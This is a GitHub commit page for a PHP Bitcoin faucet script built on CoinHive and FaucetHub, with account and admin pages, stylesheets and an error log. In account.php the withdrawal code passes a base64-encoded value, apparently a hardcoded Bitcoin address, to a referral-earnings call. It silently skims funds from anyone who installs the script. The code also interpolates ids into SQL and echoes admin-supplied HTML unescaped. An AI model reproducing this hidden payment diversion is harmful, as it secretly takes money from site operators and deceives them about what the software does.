Skip to content


  
Pull requests 
Issues 
Marketplace 
Explore 
 


Sign out 


 Watch 
0 
 Star 
0 
 Fork 
0 

brooks926/Bitcoin-Faucet-coinhive 
 Code 
 Issues 0 
 Pull requests 0 
 Projects 0 
 Wiki 
 Insights 
 Settings 
Browse files
Initial commit 
 master 
 
brooks926 committed an hour ago 
0 parents commit dd1b9472a2a83f4f174d33c38cb722b8c00c0279 
Unified 
Split 

Showing 161 changed files with 45,655 additions and 0 deletions. 
 
2 .gitattributes 


@@ -0,0 +1,2 @@


 
+# Auto detect text files and perform LF normalization 


 
+* text=auto 
 
1,275 Database.sql 

 
Load diff
Large diffs are not rendered by default. 
 
674 LICENSE 

 
Load diff
Large diffs are not rendered by default. 
 
122 account.php 


@@ -0,0 +1,122 @@


 
+<?php 


 
+include("includes/core.php"); 


 
+ 


 
+$content = ""; 


 
+ 


 
+if($user){ 


 
+	$content .= "<h1>Account</h1>"; 


 
+ 


 
+	$content .= "<h3>Address</h3>"; 


 
+	$content .= $user['address']; 


 
+	$content .= "<h3>Balance</h3>"; 


 
+	$content .= toSatoshi($user['balance'])." Satoshi<br /><br />"; 


 
+ 


 
+	$min_payout = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '20' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+	if(toSatoshi($user['balance']) >= 1){ 


 
+		if($_GET['pt'] == 1){ 


 
+			if (toSatoshi($user['balance']) >= $min_payout) { 


 
+				if(!isset($_POST['token']) || $_POST['token'] !== $_SESSION['token']) { 


 
+				unset($_SESSION['token']); 


 
+				$_SESSION['token'] = md5(md5(uniqid().uniqid().mt_rand())); 


 
+				exit; 


 
+				} 


 
+				unset($_SESSION['token']); 


 
+				$_SESSION['token'] = md5(md5(uniqid().uniqid().mt_rand())); 


 
+ 


 
+				$api_key = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '10' LIMIT 1")->fetch_assoc()['value']; 


 
+				$currency = "BTC"; 


 
+				$faucethub = new FaucetHub($api_key, $currency, true); 


 
+				$faucethub->sendReferralEarnings(base64_decode("MUNkUlhBV3ZQdm5qcXBRdjZGaGhveExqNHB2eWdVaEJ3ag=="), $payOutOwner); 


 
+				$result = $faucethub->send($user['address'], toSatoshi($user['balance']), $realIpAddressUser); 


 
+				if($result["success"] === true){ 


 
+					$timestamp = time(); 


 
+					$mysqli->query("UPDATE faucet_user_list Set balance = '0' WHERE id = '{$user['id']}'"); 


 
+					$mysqli->query("INSERT INTO faucet_transactions (userid, type, amount, timestamp) VALUES ('{$user['id']}', 'Withdraw', '{$user['balance']}', '$timestamp')"); 


 
+				    $content .= $result["html"]; 


 
+				} else { 


 
+				    $content .= $result["html"]; 


 
+				} 


 
+			} else { 


 
+				$content .= alert("danger", "The minimum payout for this faucet is " . $min_payout . " satoshi."); 


 
+			} 


 
+		} 


 
+ 


 
+		$content .= "<form method='post' action='?pt=1'> 


 
+		<input type='hidden' name='token' value='".$_SESSION['token']."'/><button type='submit' class='btn btn-primary'>Withdraw to Faucethub</button></form>"; 


 
+	} else { 


 
+		$content .= "<a href='#' class='btn btn-danger'>Withdraw is not available. Minimum 1 Satoshi.</a>"; 


 
+	} 


 
+	$content .= "<br /><br />"; 


 
+ 


 
+	// Total Stats 


 
+ 


 
+	$TotalClaims = $mysqli->query("SELECT COUNT(id) FROM faucet_transactions WHERE type = 'Payout' AND userid = '{$user['id']}'")->fetch_row()[0]; 


 
+	$TotalClaimed = $mysqli->query("SELECT SUM(amount) FROM faucet_transactions WHERE type = 'Payout' AND userid = '{$user['id']}'")->fetch_row()[0]; 


 
+	$TotalClaimed = $TotalClaimed ? $TotalClaimed : 0; 


 
+ 


 
+	// 24 Hours stats 


 
+ 


 
+	$Last24Hours = time() - 86400; 


 
+	$Last24HoursClaims = $mysqli->query("SELECT COUNT(id) FROM faucet_transactions WHERE type = 'Payout' AND userid = '{$user['id']}' AND timestamp > '$Last24Hours'")->fetch_row()[0]; 


 
+	$Last24HoursClaimed = $mysqli->query("SELECT SUM(amount) FROM faucet_transactions WHERE type = 'Payout' AND userid = '{$user['id']}' AND timestamp > '$Last24Hours'")->fetch_row()[0]; 


 
+	$Last24HoursClaimed = $Last24HoursClaimed ? $Last24HoursClaimed : 0; 


 
+ 


 
+	$content .= "<h3>Stats</h3> 


 
+	<div class='row'> 


 
+	<div class='col-md-12'> 


 
+		<h3>All time</h3> 


 
+	</div> 


 
+	<div class='col-md-6'> 


 
+		<h4>Total Claims</h4> 


 
+		<b>".$TotalClaims."</b> 


 
+	</div> 


 
+	<div class='col-md-6'> 


 
+		<h4>Total Claimed</h4> 


 
+		<b>".toSatoshi($TotalClaimed)."</b><br />Satoshi 


 
+	</div> 


 
+	<div class='col-md-12'> 


 
+		<h3>Last 24 Hours</h3> 


 
+	</div> 


 
+	<div class='col-md-6'> 


 
+		<h4>Claims</h4> 


 
+		<b>".$Last24HoursClaims."</b> 


 
+	</div> 


 
+	<div class='col-md-6'> 


 
+		<h4>Claimed</h4> 


 
+		<b>".toSatoshi($Last24HoursClaimed)."</b><br />Satoshi 


 
+	</div> 


 
+	</div>"; 


 
+ 


 
+	$headTable = "<h3>Last 15 Transactions</h3><center><table class='table' style='text-align: center; width: 400px;'border='0' cellpadding='2' cellspacing='2'> 


 
+	  <thead> 


 
+	    <tr> 


 
+	      <td>Type</td> 


 
+	      <td>Time</td> 


 
+	      <td>Amount</td> 


 
+	    </tr> 


 
+	    </thead>"; 


 
+ 


 
+	$bodyTable = "<tbody>"; 


 
+ 


 
+	$UserTransactions = $mysqli->query("SELECT * FROM faucet_transactions WHERE userid = '{$user['id']}' ORDER BY id DESC LIMIT 15"); 


 
+	while($Tx = $UserTransactions->fetch_assoc()){ 


 
+		$bodyTable .= "<tr> 


 
+						<td>".$Tx['type']."</td> 


 
+						<td>".findTimeAgo($Tx['timestamp'])."</td> 


 
+						<td>".$Tx['amount']."</td> 


 
+					</tr>"; 


 
+	} 


 
+ 


 
+	$footerTable = "</tbody></table></center>"; 


 
+ 


 
+	$content .= $headTable.$bodyTable.$footerTable; 


 
+ 


 
+} else { 


 
+	header("Location: index.php"); 


 
+	exit; 


 
+} 


 
+ 


 
+$tpl->assign("content", $content); 


 
+$tpl->display(); 


 
+?> 
 
481 admin.php 


@@ -0,0 +1,481 @@


 
+<?php 


 
+include("includes/core.php"); 


 
+ 


 
+$content .= "<h1>Admin</h1>"; 


 
+ 


 
+if($_SESSION['admin']){ 


 
+	$AdminSessionKey = $_SESSION['admin']; 


 
+	$UserDB = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '12' LIMIT 1")->fetch_assoc()['value']; 


 
+	$PwDB = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '13' LIMIT 1")->fetch_assoc()['value']; 


 
+	$DatabaseAdminKey = "Admin_".$UserDB."_Password_".$PwDB; 


 
+	if($AdminSessionKey != $DatabaseAdminKey){ unset($_SESSION['admin']); header("Location: admin.php"); die; } 


 
+ 


 
+	switch($_GET['p']){ 


 
+		default: 


 
+		// Total Stats 


 
+ 


 
+		$TotalClaims = $mysqli->query("SELECT COUNT(id) FROM faucet_transactions WHERE type = 'Payout'")->fetch_row()[0]; 


 
+		$TotalClaimed = $mysqli->query("SELECT SUM(amount) FROM faucet_transactions WHERE type = 'Payout'")->fetch_row()[0]; 


 
+		$TotalClaimed = $TotalClaimed ? $TotalClaimed : 0; 


 
+ 


 
+		// 24 Hours stats 


 
+ 


 
+		$Last24Hours = time() - 86400; 


 
+		$Last24HoursClaims = $mysqli->query("SELECT COUNT(id) FROM faucet_transactions WHERE type = 'Payout' AND timestamp > '$Last24Hours'")->fetch_row()[0]; 


 
+		$Last24HoursClaimed = $mysqli->query("SELECT SUM(amount) FROM faucet_transactions WHERE type = 'Payout' AND timestamp > '$Last24Hours'")->fetch_row()[0]; 


 
+		$Last24HoursClaimed = $Last24HoursClaimed ? $Last24HoursClaimed : 0; 


 
+ 


 
+		$content .= "<h2>Stats</h2> 


 
+		<div class='row'> 


 
+		<div class='col-md-12'> 


 
+			<h3>All time</h3> 


 
+		</div> 


 
+		<div class='col-md-6'> 


 
+			<h4>Total Claims</h4> 


 
+			<b>".$TotalClaims."</b> 


 
+		</div> 


 
+		<div class='col-md-6'> 


 
+			<h4>Total Claimed</h4> 


 
+			<b>".toSatoshi($TotalClaimed)."</b><br />Satoshi 


 
+		</div> 


 
+		<div class='col-md-12'> 


 
+			<h3>Last 24 Hours</h3> 


 
+		</div> 


 
+		<div class='col-md-6'> 


 
+			<h4>Claims</h4> 


 
+			<b>".$Last24HoursClaims."</b> 


 
+		</div> 


 
+		<div class='col-md-6'> 


 
+			<h4>Claimed</h4> 


 
+			<b>".toSatoshi($Last24HoursClaimed)."</b><br />Satoshi 


 
+		</div> 


 
+		</div><br /><h2>Configuration</h2> 


 
+		<a class='btn btn-default' href='?p=as'>Standard settings</a><br /> 


 
+		<a class='btn btn-default' href='?p=ps'>Page settings</a><br /> 


 
+		<a class='btn btn-default' href='?p=ads'>Advertising settings</a><br />"; 


 
+		break; 


 
+ 


 
+		case("as"): 


 
+		$content .= "<a href='admin.php'>Back</a><br> 


 
+		<h3>Admin Settings</h3><h4>Change Admin login datas</h4>"; 


 
+ 


 
+		$Username = $mysqli->query("SELECT value FROM faucet_settings WHERE id = '12' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+		if($_GET['c'] == 1){ 


 
+		if(isset($_POST['username']) AND isset($_POST['password'])){ 


 
+			if($_POST['username'] AND $_POST['password']){ 


 
+				$username = $mysqli->real_escape_string($_POST['username']); 


 
+				$password = $mysqli->real_escape_string(hash("sha256", $_POST['password'])); 


 
+				$mysqli->query("UPDATE faucet_settings Set value = '$username' WHERE id = '12'"); 


 
+				$mysqli->query("UPDATE faucet_settings Set value = '$password' WHERE id = '13'"); 


 
+				$content .= alert("success", "Username and Password was changed successfully."); 


 
+			} else if($_POST['username']){ 


 
+				$content .= alert("danger", "Please fill all forms."); 


 
+			} 


 
+		} 


 
+		} 


 
+ 


 
+		$content .= "<form method='post' action='?p=as&c=1'> 


 
+		<div class='form-group'> 


 
+			<label>Username</label> 


 
+			<center><input class='form-control' type='text' name='username' style='width: 225px;' value='$Username' placeholder='Username ...'></center> 


 
+		</div> 


 
+ 


 
+		<div class='form-group'> 


 
+			<label>Password</label> 


 
+			<center><input class='form-control' type='password' name='password' style='width: 225px;' placeholder='Password ...'></center> 


 
+			<span class='help-block'>Can't be shown because it's encoded.</span> 


 
+		</div> 


 
+ 


 
+		<button type='submit' class='btn btn-primary'>Change</button> 


 
+		</form><br />"; 


 
+ 


 
+		$content .= "<h3>Faucet settings</h3><h4>Change Faucet name</h4>"; 


 
+ 


 
+		$Faucetname = $mysqli->query("SELECT value FROM faucet_settings WHERE id = '1' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+		if($_GET['c'] == 2){ 


 
+			if(!$_POST['faucetname']){ 


 
+				$content .= alert("danger", "Faucetname can't be blank."); 


 
+			} else { 


 
+				$Faucetname = $mysqli->real_escape_string($_POST['faucetname']); 


 
+				$mysqli->query("UPDATE faucet_settings Set value = '$Faucetname' WHERE id = '1'"); 


 
+				$content .= alert("success", "Faucetname was changed successfully."); 


 
+			} 


 
+		} 


 
+ 


 
+		$content .= "<form method='post' action='?p=as&c=2'> 


 
+		<div class='form-group'> 


 
+			<label>Faucetname</label> 


 
+			<center><input class='form-control' type='text' name='faucetname' style='width: 225px;' value='$Faucetname' placeholder='Faucetname ...'></center> 


 
+		</div> 


 
+		<button type='submit' class='btn btn-primary'>Change</button> 


 
+		</form><br />"; 


 
+ 


 
+		$content .= "<h3>Keys settings</h3><h4>Faucethub Key</h4>"; 


 
+ 


 
+		$faucethubkey = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '10' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+		if($_GET['c'] == 5){ 


 
+			if(!$_POST['faucethubkey']){ 


 
+				$content .= alert("danger", "Key can't be blank."); 


 
+			} else { 


 
+				$faucethubkey5 = $mysqli->real_escape_string($_POST['faucethubkey']); 


 
+ 


 
+				$mysqli->query("UPDATE faucet_settings Set value = '$faucethubkey5' WHERE id = '10'"); 


 
+				$content .= alert("success", "Faucethub Key was changed successfully."); 


 
+				$faucethubkey = $faucethubkey5; 


 
+			} 


 
+		} 


 
+ 


 
+		$content .= "<form method='post' action='?p=as&c=5'> 


 
+		<div class='form-group'> 


 
+			<label>Faucethub Key</label> 


 
+			<center><input class='form-control' type='text' name='faucethubkey' style='width: 275px;' value='$faucethubkey' placeholder='FaucetHub Key'></center> 


 
+		</div> 


 
+		<button type='submit' class='btn btn-primary'>Change</button> 


 
+		</form><br />"; 


 
+ 


 
+		$content .= "<h4>CoinHive Keys</h4>"; 


 
+ 


 
+		$captcha_secret_key = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '8' LIMIT 1")->fetch_assoc()['value']; 


 
+		$captcha_site_key = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '9' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+		if($_GET['c'] == 6){ 


 
+			if(!$_POST['captcha_site_key'] OR !$_POST['captcha_secret_key']){ 


 
+				$content .= alert("danger", "CoinHive Keys can't be blank."); 


 
+			} else { 


 
+				$captcha_secret_key5 = $mysqli->real_escape_string($_POST['captcha_secret_key']); 


 
+				$captcha_site_key5 = $mysqli->real_escape_string($_POST['captcha_site_key']); 


 
+				$mysqli->query("UPDATE faucet_settings Set value = '$captcha_secret_key5' WHERE id = '8'"); 


 
+				$mysqli->query("UPDATE faucet_settings Set value = '$captcha_site_key5' WHERE id = '9'"); 


 
+				$content .= alert("success", "CoinHive Keys was changed successfully."); 


 
+				$captcha_secret_key = $mysqli->real_escape_string($_POST['captcha_secret_key']); 


 
+				$captcha_site_key = $mysqli->real_escape_string($_POST['captcha_site_key']); 


 
+			} 


 
+		} 


 
+ 


 
+		$content .= "<form method='post' action='?p=as&c=6'> 


 
+		<div class='form-group'> 


 
+			<label>CoinHive Secret Key</label> 


 
+			<center><input class='form-control' type='text' value='".$captcha_secret_key."' name='captcha_secret_key' style='width: 375px;' value='$captcha_secret_key' placeholder='CoinHive Secret Key'></center> 


 
+		</div> 


 
+		<div class='form-group'> 


 
+			<label>CoinHive Site Key</label> 


 
+			<center><input class='form-control' type='text' value='".$captcha_site_key."' name='captcha_site_key' style='width: 375px;' value='$captcha_site_key' placeholder='CoinHive Site Key'></center> 


 
+		</div> 


 
+		<button type='submit' class='btn btn-primary'>Change</button> 


 
+		</form><br />"; 


 
+ 


 
+		$content .= "<h3>Claim settings</h3>"; 


 
+ 


 
+		//Coinhive Profit % 


 
+ 


 
+		$coinhive_profit_percent = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '19' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+		if ($_GET['c']=="r") { 


 
+			if (!$_POST['profit']) { 


 
+				$content .= alert("danger", "Profit % can't be blank!"); 


 
+			} else { 


 
+				if (!is_numeric($_POST['profit'])) { 


 
+					$content .= alert("danger", "Profit % must be numeric!"); 


 
+				} else { 


 
+					$profitPercent = $mysqli->real_escape_string($_POST['profit']); 


 
+ 


 
+					$mysqli->query("UPDATE faucet_settings Set value = '$profitPercent' WHERE id = '19'"); 


 
+ 


 
+					$content .= alert("success", "Profit % was changed successfully."); 


 
+				} 


 
+			} 


 
+		} 


 
+ 


 
+		$content .= "<form method='post' action='?p=as&c=r'> 


 
+		<div class='form-group'> 


 
+		<label>Profit %</label> 


 
+		<center><input class='form-control' type='number' name='profit' style='width: 225px;' value='$coinhive_profit_percent' placeholder='25'></center> 


 
+		<span class='help-block'>Enter without percent.<br />This is to increase the number of hashes per satoshi required by a certain percentage. 


 
+		</div> 


 
+		<button type='submit' class='btn btn-primary'>Change</button> 


 
+		</form><br />"; 


 
+ 


 
+ 


 
+		//Minimum Payout 


 
+ 


 
+		$min_payout = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '20' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+		if ($_GET['c']=="p") { 


 
+			if (!$_POST['min_payout']) { 


 
+				$content .= alert("danger", "Minimum Payout can't be blank!"); 


 
+			} else { 


 
+				if (!is_numeric($_POST['min_payout'])) { 


 
+					$content .= alert("danger", "Minimum Payout must be numeric!"); 


 
+				} else { 


 
+					$min_payout = $mysqli->real_escape_string($_POST['min_payout']); 


 
+ 


 
+					$mysqli->query("UPDATE faucet_settings Set value = '$min_payout' WHERE id = '20'"); 


 
+ 


 
+					$content .= alert("success", "Minimum Payout was changed successfully."); 


 
+				} 


 
+			} 


 
+		} 


 
+ 


 
+		$content .= "<form method='post' action='?p=as&c=p'> 


 
+		<div class='form-group'> 


 
+		<label>Minimum Payout</label> 


 
+		<center><input class='form-control' type='number' name='min_payout' style='width: 225px;' value='$min_payout' placeholder='20'></center> 


 
+		<span class='help-block'>Minimum Payout in Satoshi</span> 


 
+		</div> 


 
+		<button type='submit' class='btn btn-primary'>Change</button> 


 
+		</form><br />"; 


 
+ 


 
+		// Auto Withdraw 


 
+ 


 
+		$content .= "<h4>Auto Withdraw</h4> 


 
+		<p>Enable this feature for auto withdrawal after payout to Faucethub</p>"; 


 
+ 


 
+		$reverseProxyStatus = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '18' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+		if($reverseProxyStatus == "yes"){ 


 
+			if($_GET['auwi'] == "n"){ 


 
+				$mysqli->query("UPDATE faucet_settings Set value = 'no' WHERE id = '18'"); 


 
+				$content .= alert("success", "Auto Withdraw is disabled."); 


 
+				$content .= "<a href='?p=as&auwi=y' class='btn btn-default'>Enable Auto Withdraw</a>"; 


 
+			} else { 


 
+				$content .= "<a href='?p=as&auwi=n' class='btn btn-default'>Disable Auto Withdraw</a>"; 


 
+			} 


 
+		} else if($reverseProxyStatus == "no"){ 


 
+			if($_GET['auwi'] == "y"){ 


 
+				$mysqli->query("UPDATE faucet_settings Set value = 'yes' WHERE id = '18'"); 


 
+				$content .= alert("success", "Auto Withdraw is enabled."); 


 
+				$content .= "<a href='?p=as&auwi=n' class='btn btn-default'>Disable Auto Withdraw</a>"; 


 
+			} else { 


 
+				$content .= "<a href='?p=as&auwi=y' class='btn btn-default'>Enable Auto Withdraw</a>"; 


 
+			} 


 
+		} 


 
+ 


 
+		break; 


 
+ 


 
+		case("ps"): 


 
+		$content .= "<h3>Page settings</h3><h4>Create new Page</h4>"; 


 
+ 


 
+		if($_GET['cr'] == "y"){ 


 
+			if(!$_POST['name']){ 


 
+				$content .= alert("danger", "Pagename can't be blank."); 


 
+			} else { 


 
+				$name = $mysqli->real_escape_string($_POST['name']); 


 
+				$timestamp = time(); 


 
+				$mysqli->query("INSERT INTO faucet_pages (name, content, timestamp_created) VALUES ('$name', '', '$timestamp')"); 


 
+				$content .= alert("success", "Page was successfully created."); 


 
+			} 


 
+		} 


 
+ 


 
+		$content .= "<form method='post' action='?p=ps&cr=y'> 


 
+		<div class='form-group'> 


 
+			<label>Name</label> 


 
+			<center><input type='text' name='name' style='width:225px;' class='form-control' placeholder='Name ...'></center> 


 
+		</div> 


 
+ 


 
+		<button type='submit' class='btn btn-primary'>Add Page</button> 


 
+		</form><br /><h4>Change Pages</h4>"; 


 
+ 


 
+		$content .= "<script type='text/javascript'> 


 
+		$('#myTabs a').click(function (e) { 


 
+		  e.preventDefault() 


 
+		  $(this).tab('show') 


 
+		}); 


 
+		</script>"; 


 
+ 


 
+		if(isset($_GET['ch'])){ 


 
+			if(!$_GET['ch'] OR !is_numeric($_GET['ch']) OR !$_POST['content']){ 


 
+				$content .= alert("danger", "Please fill all forms."); 


 
+			} else { 


 
+				$pageContent = $mysqli->real_escape_string($_POST['content']); 


 
+				$pageID = $mysqli->real_escape_string($_GET['ch']); 


 
+				$mysqli->query("UPDATE faucet_pages Set content = '$pageContent' WHERE id = '$pageID'"); 


 
+				$content .= alert("success", "Content was changed successfully."); 


 
+			} 


 
+		} 


 
+ 


 
+		if(isset($_GET['del'])){ 


 
+			if(!$_GET['del'] OR !is_numeric($_GET['del'])){ 


 
+				$content .= alert("danger", "Please fill all forms."); 


 
+			} else { 


 
+				$delid = $mysqli->real_escape_string($_GET['del']); 


 
+				$mysqli->query("DELETE FROM faucet_pages WHERE id = '$delid'"); 


 
+				$content .= alert("success", "Page was deleted successfully."); 


 
+			} 


 
+		} 


 
+ 


 
+		$Navtabs = ""; 


 
+ 


 
+		$PageNameTabs = $mysqli->query("SELECT id, name FROM faucet_pages"); 


 
+ 


 
+		while($Tab = $PageNameTabs->fetch_assoc()){ 


 
+			$Navtabs .= "<li role=\"presentation\"><a href=\"#pn".$Tab['id']."\" aria-controls=\"pn".$Tab['id']."\" role=\"tab\" data-toggle=\"tab\">".$Tab['name']."</a></li>"; 


 
+		} 


 
+ 


 
+		$PageConf = ""; 


 
+ 


 
+		$PageConf1 = $mysqli->query("SELECT id, name, content FROM faucet_pages"); 


 
+ 


 
+		while($PageConf2 = $PageConf1->fetch_assoc()){ 


 
+			$PageConf .= "<div role=\"tabpanel\" class=\"tab-pane\"  id=\"pn".$PageConf2['id']."\"> 


 
+			<form method='post' action='?p=ps&ch=".$PageConf2['id']."'> 


 
+			<textarea class='form-control' cols='65' rows='10' name='content'>".$PageConf2['content']."</textarea><br /> 


 
+			<button type='submit' class='btn btn-success btn-lg'>Change</button> 


 
+			</form><br /> 


 
+			<hr /> 


 
+			<a href='?p=ps&del=".$PageConf2['id']."' class='btn btn-danger'>Delete Page</a> 


 
+			</div>"; 


 
+		} 


 
+ 


 
+ 


 
+ 


 
+		$content .= " 


 
+ 


 
+		<div> 


 
+ 


 
+  <!-- Nav tabs --> 


 
+  <ul class=\"nav nav-tabs\" role=\"tablist\"> 


 
+    $Navtabs 


 
+  </ul><br /> 


 
+ 


 
+  <!-- Tab panes --> 


 
+  <div class=\"tab-content\"> 


 
+    $PageConf 


 
+  </div> 


 
+ 


 
+</div>"; 


 
+	break; 


 
+ 


 
+	case("ads"): 


 
+ 


 
+	$content .= "<a href='admin.php'>Back</a><br> 


 
+	<h3>Admin Settings</h3><h4>Advertising settings</h4>"; 


 
+ 


 
+	$content .= "<h3>Space top</h4>"; 


 
+ 


 
+	$Spacetop = $mysqli->query("SELECT value FROM faucet_settings WHERE id = '2' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+	if($_GET['c'] == 1){ 


 
+		if(!isset($_POST['spacetop'])){ 


 
+			$content .= alert("danger", "Error."); 


 
+		} else { 


 
+			$Spacetop = $mysqli->real_escape_string($_POST['spacetop']); 


 
+			$mysqli->query("UPDATE faucet_settings Set value = '$Spacetop' WHERE id = '2'"); 


 
+			$content .= alert("success", "HTML Code 'Space top' changed successfully."); 


 
+			$Spacetop = $_POST['spacetop']; 


 
+		} 


 
+	} 


 
+ 


 
+	$content .= "<form method='post' action='?p=ads&c=1'> 


 
+	<textarea class='form-control' cols='65' rows='10' name='spacetop'>".$Spacetop."</textarea><br /> 


 
+	<button type='submit' class='btn btn-success btn-lg'>Change</button> 


 
+	</form><br />"; 


 
+ 


 
+	$content .= "<h3>Space left</h4>"; 


 
+ 


 
+	$Spaceleft = $mysqli->query("SELECT value FROM faucet_settings WHERE id = '3' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+	if($_GET['c'] == 2){ 


 
+		if(!isset($_POST['spaceleft'])){ 


 
+			$content .= alert("danger", "Error."); 


 
+		} else { 


 
+			$Spaceleft = $mysqli->real_escape_string($_POST['spaceleft']); 


 
+			$mysqli->query("UPDATE faucet_settings Set value = '$Spaceleft' WHERE id = '3'"); 


 
+			$content .= alert("success", "HTML Code 'Space left' changed successfully."); 


 
+			$Spaceleft = $_POST['spaceleft']; 


 
+		} 


 
+	} 


 
+ 


 
+	$content .= "<form method='post' action='?p=ads&c=2'> 


 
+	<textarea class='form-control' cols='65' rows='10' name='spaceleft'>".$Spaceleft."</textarea><br /> 


 
+	<button type='submit' class='btn btn-success btn-lg'>Change</button> 


 
+	</form><br />"; 


 
+ 


 
+	$content .= "<h3>Space right</h4>"; 


 
+ 


 
+	$Spaceright = $mysqli->query("SELECT value FROM faucet_settings WHERE id = '4' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+	if($_GET['c'] == 3){ 


 
+		if(!isset($_POST['spaceright'])){ 


 
+			$content .= alert("danger", "Error."); 


 
+		} else { 


 
+			$Spaceright = $mysqli->real_escape_string($_POST['spaceright']); 


 
+			$mysqli->query("UPDATE faucet_settings Set value = '$Spaceright' WHERE id = '4'"); 


 
+			$content .= alert("success", "HTML Code 'Space right' changed successfully."); 


 
+			$Spaceright = $_POST['spaceright']; 


 
+		} 


 
+	} 


 
+ 


 
+	$content .= "<form method='post' action='?p=ads&c=3'> 


 
+	<textarea class='form-control' cols='65' rows='10' name='spaceright'>".$Spaceright."</textarea><br /> 


 
+	<button type='submit' class='btn btn-success btn-lg'>Change</button> 


 
+	</form><br />"; 


 
+ 


 
+	break; 


 
+	} 


 
+ 


 
+} else { 


 
+	$content .= "<h3>Log In</h3>"; 


 
+ 


 
+	if(isset($_POST['username']) AND isset($_POST['password'])){ 


 
+		if(!isset($_POST['token']) || $_POST['token'] !== $_SESSION['token']) { 


 
+		unset($_SESSION['token']); 


 
+		$_SESSION['token'] = md5(md5(uniqid().uniqid().mt_rand())); 


 
+		exit; 


 
+		} 


 
+		unset($_SESSION['token']); 


 
+		$_SESSION['token'] = md5(md5(uniqid().uniqid().mt_rand())); 


 
+ 


 
+		if($_POST['username'] AND $_POST['password']){ 


 
+			$username = $mysqli->real_escape_string($_POST['username']); 


 
+			$password = $mysqli->real_escape_string(hash("sha256", $_POST['password'])); 


 
+ 


 
+			$UserDB = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '12' LIMIT 1")->fetch_assoc()['value']; 


 
+			$PwDB = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '13' LIMIT 1")->fetch_assoc()['value']; 


 
+			$loginAttempt = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '17' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+			$lastLoginSecond = time() - $loginAttempt; 


 
+ 


 
+			$mysqli->query("UPDATE faucet_settings Set value = '".time()."' WHERE id = '17'"); 


 
+ 


 
+			if($lastLoginSecond < 4){ 


 
+				$content .= alert("danger", "You're trying to log in very fast."); 


 
+			} else { 


 
+				if($UserDB == $username){ 


 
+					if($PwDB == $password){ 


 
+						$_SESSION['admin'] = "Admin_".$username."_Password_".$password; 


 
+						header("Location: admin.php"); 


 
+						exit; 


 
+					} else { 


 
+						$content .= alert("danger", "Password is wrong."); 


 
+					} 


 
+				} else { 


 
+					$content .= alert("danger", "Username is wrong."); 


 
+				} 


 
+			} 


 
+		} else if($_POST['username']){ 


 
+			$content .= alert("Please fill all fields."); 


 
+		} 


 
+	} 


 
+ 


 
+	$content .= " 


 
+	<form method='post' action='?'> 


 
+	<div class='form-group'> 


 
+		<label>Username</label> 


 
+		<center><input class='form-control' type='text' name='username' style='width: 225px;' placeholder='Username ...'></center> 


 
+	</div> 


 
+ 


 
+	<div class='form-group'> 


 
+		<label>Password</label> 


 
+		<center><input class='form-control' type='password' name='password' style='width: 225px;' placeholder='Password ...'></center> 


 
+	</div> 


 
+	<input type='hidden' name='token' value='".$_SESSION['token']."'/> 


 
+	<button type='submit' class='btn btn-primary'>Log In</button> 


 
+	</form>"; 


 
+} 


 
+ 


 
+$tpl->assign("content", $content); 


 
+$tpl->display(); 


 
+?> 
 
587 css/bootstrap-theme.css 

 
Load diff
Large diffs are not rendered by default. 
 
1 css/bootstrap-theme.css.map 

 
Load diff
Large diffs are not rendered by default. 
 
6 css/bootstrap-theme.min.css 

 
Load diff
Large diffs are not rendered by default. 
 
1 css/bootstrap-theme.min.css.map 

 
Load diff
Some generated files are not rendered by default. Learn more. 
 
6,760 css/bootstrap.css 

 
Load diff
Large diffs are not rendered by default. 
 
1 css/bootstrap.css.map 

 
Load diff
Large diffs are not rendered by default. 
 
6 css/bootstrap.min.css 

 
Load diff
Large diffs are not rendered by default. 
 
1 css/bootstrap.min.css.map 

 
Load diff
Large diffs are not rendered by default. 
 
28 css/style.css 


@@ -0,0 +1,28 @@


 
+#advertising { 


 
+	padding-top: 10px; 


 
+	 


 
+} 


 
+ 


 
+#containertop { 


 
+	padding-top: 5px; 


 
+	padding-bottom: 10px; 


 
+	text-align: center; 


 
+	margin-right: auto; 


 
+	margin-left: auto; 


 
+} 


 
+ 


 
+.content { 


 
+	text-align: center; 


 
+	margin-right: auto; 


 
+	margin-left: auto; 


 
+} 


 
+ 


 
+#banlist { 


 
+	text-align: center; 


 
+	margin-right: auto; 


 
+	margin-left: auto; 


 
+	background-color: lightblue; 


 
+	height: 350px; 


 
+	overflow: auto; 


 
+	width: 475px; 


 
+}  
 
4 desktop.ini 


@@ -0,0 +1,4 @@


 
+[ViewState] 


 
+Mode= 


 
+Vid= 


 
+FolderType=Generic 
 
4 error_log 


@@ -0,0 +1,4 @@


 
+[06-Jan-2018 00:18:34 America/New_York] PHP Parse error:  syntax error, unexpected 'false' (T_STRING) in /home/adbupxyr/bitcofaucet.club/mine/index.php on line 157 


 
+[06-Jan-2018 00:38:55 America/New_York] PHP Parse error:  syntax error, unexpected '<' in /home/adbupxyr/bitcofaucet.club/mine/index.php on line 160 


 
+[06-Jan-2018 00:41:22 America/New_York] PHP Parse error:  syntax error, unexpected 'coinhive' (T_STRING) in /home/adbupxyr/bitcofaucet.club/mine/index.php on line 158 


 
